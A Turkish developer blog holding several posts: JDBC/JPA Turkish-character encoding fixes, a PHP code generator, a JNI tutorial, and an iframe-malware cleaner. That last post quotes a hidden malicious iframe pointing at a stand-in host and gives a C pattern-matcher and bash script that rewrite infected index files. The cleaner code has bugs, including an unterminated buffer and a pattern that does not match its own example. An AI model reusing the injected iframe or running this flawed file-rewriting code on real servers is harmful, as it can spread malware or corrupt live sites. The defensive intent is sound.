18 Nisan 2011 Pazartesi

JPA Türkçe Karakter Sorunu | JDBC Türkçe Karakter Sorunu | Seam Framework Türkçe Karakter Sorunu

Veritabanı kurulum yada konfigurasyon farklılıklarından ötürü JDBC yada JPA ile Türkçe karakterleri doğru persist edemiyorsanız. Çözüm aşağıdadır.

Problem JDBC katmanında yaşanır. JDBC connection url'inize

useUnicode=true
characterEncoding=UTF-8

parametreleri eklemelisiniz.

Yani connection url'iniz

jdbc:mysql://address:port/database_name?useUnicode=true&characterEncoding=UTF-8

gibi olmalıdır.

JPA kullananlar persistence.xml içerisine

<property name="hibernate.connection.useUnicode" value="true" />
<property name="hibernate.connection.characterEncoding" value="UTF-8" />

ekleyerek problemi çözebilirler.

Seam Framework kullanlar ise ds.xml(Seam Data Source XML) dosyalarına "driver-class" tanımından hemen sonra aşağıdaki iki connection property'i eklemelidirler

<connection-property name="useUnicode">true</connection-property>
<connection-property name="characterEncoding">UTF-8</connection-property>

27 Ocak 2011 Perşembe

Yüzyılın buluşu! :D

12 Ekim 2010 Salı

How to cook a BrainF*ck Interpreter in 5 minutes

9 Şubat 2010 Salı

DB2Model - Veritabanı Analizcisi ve Php Model Kodu Üretici (code generator)

DB2Model da ne? DB2Model işlerimi kolaylaştırması için geliştirdiğim sade bir kod üreteci(code generator). Uygulamalarını geliştirmek için MVC paternini kullananlardansanız bildiğiniz üzere yazılımınıza ekleyeceğiniz yeni bir kavram için model yada modeller, view ve ilişkili olarak controllerlar yazarsınız. Yazılım geliştirmek malumunuz dünyanın en basit işlerinden biri sayılmaz ve çoğunlukla fazlaca vakit alır. Bu gerçeklerin farklındalığıyla geçen gece uykum açıldı ve geçtim bilgisayarımın karşısına. Çok sürmeyen bir ( programlama -> test etme -> manyak kahkahası ) sürecinden sonra ilk çalışan sürüm hardiskimin üzerindeydi. Ertesi sabah işe gitmek üzere uyandığımda uzun zamandır ilk defa uykusuzluğumun bana mutluluk verdiğini hissettim. Artık model kodu yazarken bana yardımcı olacak bir asistanım vardı. Bu asistan herhangi bir veritabanı tablosunu analiz edip tablo üzerinde işlem yaparken temel olarak ihtiyaç duyabileceğim tüm methodları hiç hata yapmadan implemente edebiliyor.

Gereksinimler:
Bu yazılım Zend Framework'te uygulanmış Zend_Db ve Zend_Config modüllerine ihtiyaç duyar. (Üretilen kodu kısıtlı vaktimin elverdiğince DBMS'ten bağımsız kılmaya çalıştım.)

Kurulum:
Mysql için model kodu üretecek iseniz, mysqli eklentisinin kurulu olduğu her php ortamın da çalışır diye umuyorum.

Kullanım:
http://domain/db2model.php?table=TABLO_ISMI
hemen ardından ekranda birkaç yüz satır kod belirecek.

İndirmek için tıklayın

29 Ağustos 2009 Cumartesi

JNI (Java Native Interface)

JNI nedir? Ne değildir?
JNI, Java uygulamalarınıza sanal makine de uygulanmamış ve saf Java ile uygulanması imkansız yada çok zor olan yetenekleri katabilmenize yarar. Java, felsefesi gereği platform spesifik fonksiyonelliği bünyesinde barındırmaz. Bundan ötürüdür ki JNI, Java kullanarak platform spesifik işleri halledebileceğiniz neredeyse tek yoldur. Ayrıca JNI farklı diller ile geliştirilmiş, C altından çağrılabilir uygulama ve kütüphanelerin Java üzerinden erişilebilmesini mümkün kılar. Tüm bunların yanında JNI performans gerektiren işlerin native kod kullanılarak JVM’in sağlayabileceğinden daha yüksek verim ile halledilebilmesine imkan tanır. Peki bütün bunların yanında JNI’nin zararlı yan etkileri yokmudur? Evet vardır. Öncelikle native bağlantısı olan Java programları JVM’nin sunduğu yüksek taşınabilirlik yeteneğini kaybederler. Dolayısıyla programların platformlar arasında taşınabilirliği daha zor bir iş haline gelir. Ayrıca JNI üzerinden Java sanal makinesine bağlanmış kodlarda bulunan bir hatanın saptanması zordur, daha da kötüsü bu hata tüm sanal makine de etkili olabilecek ciddi hatalara ve çökmeye yol açabilir. Artık JNI’nin ne işe yaradığını avantajlarını-dezavantajlarını bildiğimize göre nasıl kullanıldığını bir örnekle inceleyebiliriz:

Native.java dosyasının içeriği:

public class Native {

static {
System.loadLibrary("native_library");
}

public static native int sum(int x, int y);

public static void main(String[] args) {
System.out.println(sum(3, 5));
}

}


Yukarıda son derece sade bir Java sınıfı görüyoruz. Bu sınıf, sınıf yükleyicisi tarafından sınıfın yüklendiği anda çalıştırılacak static tanımlı blok, bir native metod deklerasyonu ve Java programının çalışmaya başlayacağı main metoduna sahip. Sınıfımızı javac ile derliyoruz:

javac Native.java

Elde ettiğimiz byte kodun(Native.class dosyası) içinde geçen native metodun(sum) javah kullanarak C deklerasyonunu elde ediyoruz:

javah -jni Native

Şimdi elimizde iki adet dosya var: Native.class ve Native.h

Burda Native.class bilindiği üzere JVM üzerinde işletilecek bytecode, Native.h ise Native.class içinde çağrıda bulunulan native metodun(sum) C deklerasyonu. Şimdi yapmamız gereken Native.h dosyasında deklare edilmiş c fonksiyonu uygulamak.

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class Native */

#ifndef _Included_Native
#define _Included_Native
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: Native
* Method: sum
* Signature: (II)I
*/
JNIEXPORT jint JNICALL Java_Native_sum
(JNIEnv *, jclass, jint, jint);

#ifdef __cplusplus
}
#endif
#endif


Yukarıda gördüğümüz Native.h dosyasının içeriğidir. Görüldüğü üzere bu başlık dosyası

JNIEXPORT jint JNICALL Java_Native_sum
(JNIEnv *, jclass, jint, jint);


biçminde bir fonksiyon prototipi içeriyor.
Native.cpp adında bir C++ kaynak kod dosyası oluşturdum ve dosya içinde

#include "Native.h"

JNIEXPORT jint JNICALL
Java_Native_sum(JNIEnv *env, jclass cls, jint num1, jint num2) {
return num1 + num2;
}


yukarıda görüldüğü gibi Java_Native_sum fonksiyonunu implemente ettim. Bu işi de hallettiğime göre geriye yalnız herşeyi birleştirmek kaldı.

Linux yada Mingw kurulu ve Path konfigurasyonu yapılmış bir Windows üzerinde aşağıda ki kabuk komutu ile derleme işini halledebiliriz.

gcc -Wall -D_JNI_IMPLEMENTATION_ -Wl,--kill-at -I"D:/Program Files/Java/jdk1.6.0_14/include" -I"D:/Program Files/Java/jdk1.6.0_14/include/win32" -shared Native.cpp -o native_library.dll


Burada üç noktaya dikkat etmelisiniz. Birincisi -I parametresi ile gcc'ye bildirilen jni.h ve jni_md.h dosyalarının gerçek lokasyonları sizin makinanızda kurulum farklılıklarına göre değişebilir. İkincisi -Wl,--kill-at bağlayıcı(linker) direktifi verilmediği taktirde JVM üretilen shared kütüphanede ki tanımlara erişemez. Üçüncüsü kullandığınız işletim sistemine göre -o parametresinde verilen derleyici çıktı dosyası adını native_library.dll yada native_library.so biçminde düzenlemelisiniz.

Evet herşeyi doğru yaptıysak elimizde java kaynak kodu ile beraber Native.class, Native.h, Native.cpp ve native_library.so yada native_library.dll dosyaları bulunmaktadır. Artık java Native deyip ekranda 8 yazdığını görebiliriz :D Küçük fakat iyi bir başlangıç yapmış olduk. Bununla beraber JNI tabiki iki sayıyı toplamak için geliştirilmemiştir. Aksine genellikle Java'nın tasarımı ve felsefesi gereği uygun olmadığı işleri halletmek yada farklı dillerde yazılmış kütüphanelerin Java altından erişilebilir hale getirilmesinde kullanılır ve oldukça ayrıntılı bir programlama arayüzüdür. Şimdilik bu yazımı zaman sıkıntım dolayısı ile bitirmek zorundayım. Fakat yakın bir zaman içerisinde temel JNI fonksiyonelliğine değinen bir yazı daha hazırlama planım var. Umarım zaman bulabilirim. Hoşçakalın.

23 Ağustos 2009 Pazar

Iframe malware - Iframe virüsü

Uzun zamandır web tabanlı yazılım geliştiricileri rahatsız eden bir malware türü var ortalıkta. Bu malware'ın tipik davranışı bir activex açığından yararlanıp kişisel bilgisayarlara yerleşmek, kişinin sunucuya erişmekte kullandığı ftp bilgilerini elde etmek ve ardından bu ftp bilgilerini kullanıp sunucu üzerinde ki index dosyalarına kendisinin diğer pclere yayılmasını sağlacak bir iframe yerleştirmek. Bir iki gün önce bir telefon aldım. Önemli bir web projemin index dosyasında malware iframe bulunduğunu bana haber verdiler. Birden çok kişi pclerini kullanarak proje sunucusunun ftp hizmetiyle eriştiğinden index dosyasına iframe'i atan infekte olmuş pc belirsizdi. Bu durumda önümde iki seçenek vardı. Birincisi sunucuya ftp üzerinden erişimde bulunulan tüm makinelerin güvenliğini sağlamak, ikincisi sunucunun güvenliğini sağlamak. İlk önce hemen index içinde ki iframe kodunu el ile temizledim. Ardından olası infekte olmuş pclerin temizlenmesi için diğerlerini bu konuda uyardım. Fakat nihayi olarak herkezin kendi makinesinin güvenliğini sağlayabilmesi mümkün olmayabilirdi. Bu durumda ikinci seçeneğin daha kesin bir çözüm sağladığına karar verdim. Ama bunu yapmak pratikte pek de kolay gözükmüyordu. Nihayetinde birileri infekte olmuş bilgisayarı ile farkında olmadan yine index'e iframe yerleştirmesine neden olabilirdi. Sunucu tarafında ise herşey olağan gözüktüğünden bu durumun sunucu tarafından yakalanması da en azından anlık olarak zor gözüküyordu. Dosya yetkilerini ftp tarafından yazılamaz hale getirmek aklıma geldiysede üzerinde sürekli geliştirme uygulanan bir proje de bu hiç pratik olmazdı. Fakat bir şekilde bu duruma bir çözüm bulmam gerekiyordu, zamanım son derece kısıtlıydı. O gece aklıma infekte olmuş dosyaları tarayan ve içinde belirli bir formda iframe taşıyanları temizleyen küçük bir tarayıcı programlamak geldi. Bir kaç saat içerisinde elimde somut bişey oluşmuştu. Testleri de yapıp sonucun pozitif olduğunu görmemin ardından rahat bir uykuya daldım.

Bu gün ise aklıma diğer meslektaşlarımın da bu tür bir çözümü kullanmak isteyebilecekleri geldi ve iframe avlayıcısının nasıl çalıştığını anlatmaya koyuldum :

Öncelikle iframe avlayıcısı iki parçadan meydana geliyor
1) Küçük bir C programı
2) Küçük bir Bash scripti

C programı C'nin C99 sürümünü destekleyen tüm C derleyicilerinde derlenebilirdir ve aşağıda kaynak kodu bulunmaktadır :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>

#define LINE_BUFFER_LEN 32768
#define PATTERN_ELEMENT_LENGTH 128

const char IFRAME_VIRUS_PATTERN[][PATTERN_ELEMENT_LENGTH] = {
"<iframe",
"src=\"http://",
"width=",
"height=",
"style=\"visibility: hidden\">",
"</iframe>"
};

typedef struct {
const char *start;
const char *end;
} VirusLocation;

bool isLineInfected(const char *line, VirusLocation *vloc);
void clearInfectedLine(char *line, const VirusLocation *vloc);

int
main(int argc, char *argv[]) {
FILE * sourceFile;
const char *filePath = NULL;

if (argc == 2) {
filePath = argv[1];
} else {
printf("Usage : aiframe [filename]\n");
return EXIT_FAILURE;
}

sourceFile = fopen(filePath, "r");

if (sourceFile != NULL) {
char lineBuffer[LINE_BUFFER_LEN];
VirusLocation vloc;
while (!feof(sourceFile)) {
fgets(lineBuffer, LINE_BUFFER_LEN, sourceFile);
if (isLineInfected(lineBuffer, &vloc)) {
clearInfectedLine(lineBuffer, &vloc);
}
if (!feof(sourceFile)) {
printf("%s", lineBuffer);
}
}
fclose (sourceFile);
} else {
printf("Can not open file : %s\n", filePath);
}

return EXIT_SUCCESS;
}

bool
isLineInfected(const char *line, VirusLocation *vloc) {
const char *linePtr = line;
const int patternLen = sizeof(IFRAME_VIRUS_PATTERN) / PATTERN_ELEMENT_LENGTH;

int i;
for (i = 0; i < patternLen; i++) {
if ((linePtr = strstr(linePtr, IFRAME_VIRUS_PATTERN[i])) == NULL) {
return false;
} else {
if (i == 0) {
vloc->start = linePtr;
} else if (i == (patternLen - 1)) {
vloc->end =
linePtr + strlen(IFRAME_VIRUS_PATTERN[patternLen - 1]) - 1;
}
}
}
return true;
}

void
clearInfectedLine(char *line, const VirusLocation *vloc) {
const char *linePtr = line;
char clearedLine[LINE_BUFFER_LEN];

int i = 0;
while (*linePtr != '\0') {
if (linePtr < vloc->start || linePtr > vloc->end) {
clearedLine[i++] = *linePtr;
}
linePtr++;
}
strcpy(line, clearedLine);
}


Bash scripti ise yukarda kaynak kodu verilmiş C programını kullanır
(C programının derlenmiş halinin adı "aiframe" olmalı) :

#!/bin/bash

SOURCE_FILE=$1
SCANNED_FILE=$1.tmp
aiframe $SOURCE_FILE > $SCANNED_FILE

SOURCE_FILE_SIZE=$(du -b $SOURCE_FILE | awk '{ print $1 }')
SCANNED_FILE_SIZE=$(du -b $SCANNED_FILE | awk '{ print $1 }')

if [ $SOURCE_FILE_SIZE != $SCANNED_FILE_SIZE ]; then
echo File sizes not equal : $SOURCE_FILE_SIZE, $SCANNED_FILE_SIZE
echo File is possible to infected : $SOURCE_FILE
SOURCE_FILE_OWNER=$(ls -l $SOURCE_FILE | awk '{print $3}')
SOURCE_FILE_GROUP=$(ls -l $SOURCE_FILE | awk '{print $4}')
rm -f $SOURCE_FILE
mv $SCANNED_FILE $SOURCE_FILE
chown $SOURCE_FILE_OWNER:$SOURCE_FILE_GROUP $SOURCE_FILE
fi

rm -f $SCANNED_FILE


Peki bu programı nasıl kullanıyoruz?

Öncelikle C programımızın IFRAME_VIRUS_PATTERN kısmını size bela olmuş iframe malware'ına göre düzenleyin.

Eğer index dosyalarınıza malware tarafından eklenmekte olan iframe kodu :

<iframe src="http://iambad.com/" height=123 width=343 style="visibility:hidden"></iframe>

gibiyse IFRAME_VIRUS_PATTERN kısmını sırası ile

const char IFRAME_VIRUS_PATTERN[][PATTERN_ELEMENT_LENGTH] = {
"<iframe",
"src=\"http://iambad.com/",
"height=",
"width=",
"style=\"visibility: hidden\">",
"</iframe>"
};


gibi düzenleyebilirsiniz. Burada amaç malware'ın eklediği iframe'in sabit olan kısımlarını sırası ile belirlemek(ortalıkta farklı ve değişken formları mevcut). Ben yukarıda ki iframe tanımında "<iframe", "src=\"http://iambad.com/" .. gibi kısımlarının ne olursa olsun sabit olduğunu varsaydım. Burada kesinlikle dikkat etmenizin gerektiği bir nokta var. Eğer index dosyalarınızın içinde daha önceden eklemiş olduğunuz iframeleriniz bulunuyorsa IFRAME_VIRUS_PATTERN'in onlarla uyuşmamasını sağlamalısınız, aksi taktirde onlarda malware olarak algılanıp kaldırılırlar.

IFRAME_VIRUS_PATTERN kısmını düzenlediyseniz programı derlemek için;
gcc aiframe_kaynak_kodu.c -o aiframe
bash komutunu kullanabilirsiniz.

Ardından bash scriptini de aiframe_run.sh dosyası altında kayıt edin ve aiframe_run.sh ile birlikte derlenmiş aiframe adında ki C programımızı /usr/bin dizini altına atın.

Artık tek yapmanız gereken
find /web/dosyalarının/kök/dizini -type f -name index.* -exec aiframe_run.sh '{}' \;
gibi tüm web dökümanlarını tarayan bir bash komutunu belirli aralıklar ile çalışacak hale getirmek. Bunun için crontab'ı kullanabilirsiniz. Bu sayede artık index dosyalarımıza malware'ın eklemiş olduğu iframe kodları otomatik olarak çok kısa bir süre içerisinde kaldırılacaktır.

Tüm bunların yanında belirtmeliyim ki. Iframe avlayıcısından kaynaklanabilecek herhangi bir zarardan ötürü sorumluluk kabul edilmemektedir. Ne yaptığınızı bilerek ve sorumluluğu alarak yapın. Tüm web kök dizinine uygulamadan önce güvenli bir iki test yapmanızı öneririm.